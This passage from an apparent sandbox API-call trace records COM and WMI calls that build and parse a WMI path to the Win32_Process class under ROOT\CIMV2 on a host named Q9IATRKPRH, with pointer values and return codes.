WbemDefPath:IWbemPath:SetText (This=0x1bc94870, uMode=0x4, pszPath="") returned 0x0 [0164.122] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0164.122] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0164.123] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0164.123] IUnknown:Release (This=0x1a943398) returned 0x1 [0164.124] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f6e0) returned 0x0 [0164.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f6e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0164.124] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f6e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc947b0) returned 0x0 [0164.125] WbemDefPath:IUnknown:Release (This=0x1bc6f6e0) returned 0x0 [0164.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc947b0) returned 0x0 [0164.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0164.125] WbemDefPath:IUnknown:AddRef (This=0x1bc947b0) returned 0x3 [0164.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0164.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0164.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f700) returned 0x0 [0164.125] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.125] WbemDefPath:IUnknown:Release (This=0x1bc6f700) returned 0x3 [0164.125] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0164.125] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0164.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0164.126] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x2 [0164.126] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x1 [0164.126] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0164.126] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0164.126] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc947b0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc947b0) returned 0x0 [0164.126] WbemDefPath:IUnknown:AddRef (This=0x1bc947b0) returned 0x3 [0164.126] WbemDefPath:IUnknown:Release (This=0x1bc947b0) returned 0x2 [0164.126] WbemDefPath:IWbemPath:SetText (This=0x1bc947b0, uMode=0x4, pszPath="") returned 0x0 [0164.126] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0164.126] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94870, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0164.126] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc947b0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0164.126] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc947b0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0164.126] WbemDefPath:IWbemPath:SetServer (This=0x1bc947b0, Name="Q9IATRKPRH") returned 0x0 [0164.126] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0164.126] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0164.126] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0164.126] IUnknown:Release (This=0x1a943398) returned 0x1 [0164.128] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc6f720) returned 0x0 [0164.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f720, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0164.129] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f720, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc94630) returned 0x0 [0164.129] WbemDefPath:IUnknown:Release (This=0x1bc6f720) returned 0x0 [0164.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc94630) returned 0x0 [0164.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0164.129] WbemDefPath:IUnknown:AddRef (This=0x1bc94630) returned 0x3 [0164.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0164.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0164.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc6f3a0) returned 0x0 [0164.129] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f3a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.129] WbemDefPath:IUnknown:Release (This=0x1bc6f3a0) returned 0x3 [0164.129] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0164.129] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0164.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0164.130] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x2 [0164.130] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x1 [0164.130] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0164.130] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0164.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94630, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94630) returned 0x0 [0164.130] WbemDefPath:IUnknown:AddRef (This=0x1bc94630) returned 0x3 [0164.130] WbemDefPath:IUnknown:Release (This=0x1bc94630) returned 0x2 [0164.130] WbemDefPath:IWbemPath:SetText (This=0x1bc94630, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94630, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94630, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0164.130] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc947b0) returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94630, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0164.130] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0164.131] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc947b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94630, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0164.131] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc947b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc947b0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0164.131] WbemDefPath:IWbemPath:SetClassName (This=0x1bc947b0, Name="Win32_Process") returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc947b0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc947b0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc947b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0164.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc947b0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0164.131] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0164.132] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0164.132] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0164.132] IUnknown:Release (This=0x1a943398) returned 0x1 [0164.134] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc6fd40) returned 0x0 [0164.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fd40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0164.134] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fd40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc944b0) returned 0x0 [0164.134] WbemDefPath:IUnknown:Release (This=0x1bc6fd40) returned 0x0 [0164.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc944b0) returned 0x0 [0164.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0164.134] WbemDefPath:IUnknown:AddRef (This=0x1bc944b0) returned 0x3 [0164.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0164.134] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0164.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc6fde0) returned 0x0 [0164.135] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fde0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.135] WbemDefPath:IUnknown:Release (This=0x1bc6fde0) returned 0x3 [0164.135] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0164.135] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0164.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0164.135] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x2 [0164.135] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x1 [0164.135] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0164.135] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0164.135] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc944b0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc944b0) returned 0x0 [0164.135] WbemDefPath:IUnknown:AddRef (This=0x1bc944b0) returned 0x3 [0164.135] WbemDefPath:IUnknown:Release (This=0x1bc944b0) returned 0x2 [0164.135] WbemDefPath:IWbemPath:SetText (This=0x1bc944b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0164.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ab0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0164.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0164.136] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ab0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0164.136] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0164.136] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0164.136] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0164.136] IUnknown:Release (This=0x1a943398) returned 0x1 [0164.138] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | 